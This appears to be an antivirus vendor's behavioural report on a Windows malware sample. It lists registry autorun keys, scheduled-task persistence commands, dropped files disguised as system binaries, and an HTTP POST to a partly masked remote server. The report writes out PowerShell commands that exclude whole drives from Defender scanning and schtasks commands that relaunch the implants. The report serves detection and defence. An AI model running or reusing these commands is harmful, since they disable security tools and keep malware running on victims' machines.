Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'conhost' = '"C:\MSOCache\All Users\conhost.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'conhost' = '"C:\MSOCache\All Users\conhost.exe"'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "C:\MSOCache\All Users\conhost.exe"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'iexplore' = '"C:\Recovery\4d53d3aa-5835-11ef-baad-8f07b80b2fb5\iexplore.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'iexplore' = '"C:\Recovery\4d53d3aa-5835-11ef-baad-8f07b80b2fb5\iexplore.exe"'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "C:\MSOCache\All Users\conhost.exe", "C:\Recovery\4d53d3aa-5835-11ef-baad-8f07b80b2fb5\iexplore.exe"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'powershell' = '"%WINDIR%\Branding\ShellBrd\powershell.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'powershell' = '"%WINDIR%\Branding\ShellBrd\powershell.exe"'
- [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "C:\MSOCache\All Users\conhost.exe", "C:\Recovery\4d53d3aa-5835-11ef-baad-8f07b80b2fb5\iexplore.exe", "%WIN...
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'lsass' = '"C:\kms\lsass.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'lsass' = '"C:\kms\lsass.exe"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'lsm' = '"%HOMEPATH%\Saved Games\lsm.exe"'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'lsm' = '"%HOMEPATH%\Saved Games\lsm.exe"'
Creates or modifies the following files
- <SYSTEM32>\tasks\conhostc
- <SYSTEM32>\tasks\conhost
- <SYSTEM32>\tasks\iexplorei
- <SYSTEM32>\tasks\powershellp
- <SYSTEM32>\tasks\lsml
- <SYSTEM32>\tasks\lsass
- <SYSTEM32>\tasks\lsassl
- <SYSTEM32>\tasks\iexplore
- <SYSTEM32>\tasks\lsm
- <SYSTEM32>\tasks\powershell
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/kms/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Users/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/yqcnsja/'
Modifies file system
Creates the following files
- C:\msocache\all users\conhost.exe
- %HOMEPATH%\desktop\eydivtdj.log
- %HOMEPATH%\desktop\uajmpxty.log
- %HOMEPATH%\desktop\vfunpgiy.log
- %HOMEPATH%\desktop\eicczzyf.log
- %HOMEPATH%\desktop\mmlsitom.log
- %HOMEPATH%\desktop\bhhawmhq.log
- nul
- %TEMP%\ruxbijzqne.bat
- %TEMP%\obw0ooi2wr
- %TEMP%\k3mmtama.out
- %TEMP%\k3mmtama.cmdline
- %TEMP%\k3mmtama.0.cs
- %HOMEPATH%\saved games\101b941d020240
- %HOMEPATH%\saved games\lsm.exe
- C:\kms\6203df4a6bafc7
- C:\kms\lsass.exe
- %WINDIR%\branding\shellbrd\e978f868350d50
- %WINDIR%\branding\shellbrd\powershell.exe
- C:\recovery\4d53d3aa-5835-11ef-baad-8f07b80b2fb5\9db6e019d4f04e
- C:\recovery\4d53d3aa-5835-11ef-baad-8f07b80b2fb5\iexplore.exe
- C:\msocache\all users\088424020bedd6
- %HOMEPATH%\desktop\lgqcbotu.log
- %HOMEPATH%\desktop\bxxmrmnm.log
Deletes the following files
- %TEMP%\k3mmtama.0.cs
- %TEMP%\k3mmtama.out
- %TEMP%\k3mmtama.cmdline
- %TEMP%\obw0ooi2wr
Moves the following files
- from %ProgramFiles%\microsoft office\office14\bcssync.exe to %ProgramFiles%\microsoft office\office14\bcssync.exe.exe
Network activity
Connects to
- '14#.#72.94.186':80
TCP
HTTP POST requests
- http://14#.#72.94.186/ImageVoiddb/downloads8api/External4Cdn/ProcessorProtect/Image/ProcessGenerator/4/requestWindowsTolocal/VideolinuxwindowsgeneratortestcdnUploads.php
Miscellaneous
Creates and executes the following
- '%HOMEPATH%\saved games\lsm.exe'
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /tn "conhostc" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\conhost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "powershellp" /sc MINUTE /mo 5 /tr "'%WINDIR%\Branding\ShellBrd\powershell.exe'" /rl HIGHEST /f
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\rUxbIjzqnE.bat"
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 8 /tr "'%HOMEPATH%\Saved Games\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsm" /sc ONLOGON /tr "'%HOMEPATH%\Saved Games\lsm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 13 /tr "'%HOMEPATH%\Saved Games\lsm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\kms\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc ONLOGON /tr "'C:\kms\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 13 /tr "'C:\kms\lsass.exe'" /f
- '<SYSTEM32>\chcp.com' 65001
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 13 /tr "'C:\Recovery\4d53d3aa-5835-11ef-baad-8f07b80b2fb5\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplore" /sc ONLOGON /tr "'C:\Recovery\4d53d3aa-5835-11ef-baad-8f07b80b2fb5\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 7 /tr "'C:\Recovery\4d53d3aa-5835-11ef-baad-8f07b80b2fb5\iexplore.exe'" /f
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\k3mmtama.cmdline"
- '<SYSTEM32>\schtasks.exe' /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\MSOCache\All Users\conhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "conhost" /sc ONLOGON /tr "'C:\MSOCache\All Users\conhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "powershell" /sc ONLOGON /tr "'%WINDIR%\Branding\ShellBrd\powershell.exe'" /rl HIGHEST /f
- '<SYSTEM32>\ping.exe' -n 10 localhost
- '<SYSTEM32>\schtasks.exe' /create /tn "powershellp" /sc MINUTE /mo 10 /tr "'%WINDIR%\Branding\ShellBrd\powershell.exe'" /f
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\k3mmtama.cmdline"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\rUxbIjzqnE.bat"' (with hidden window)
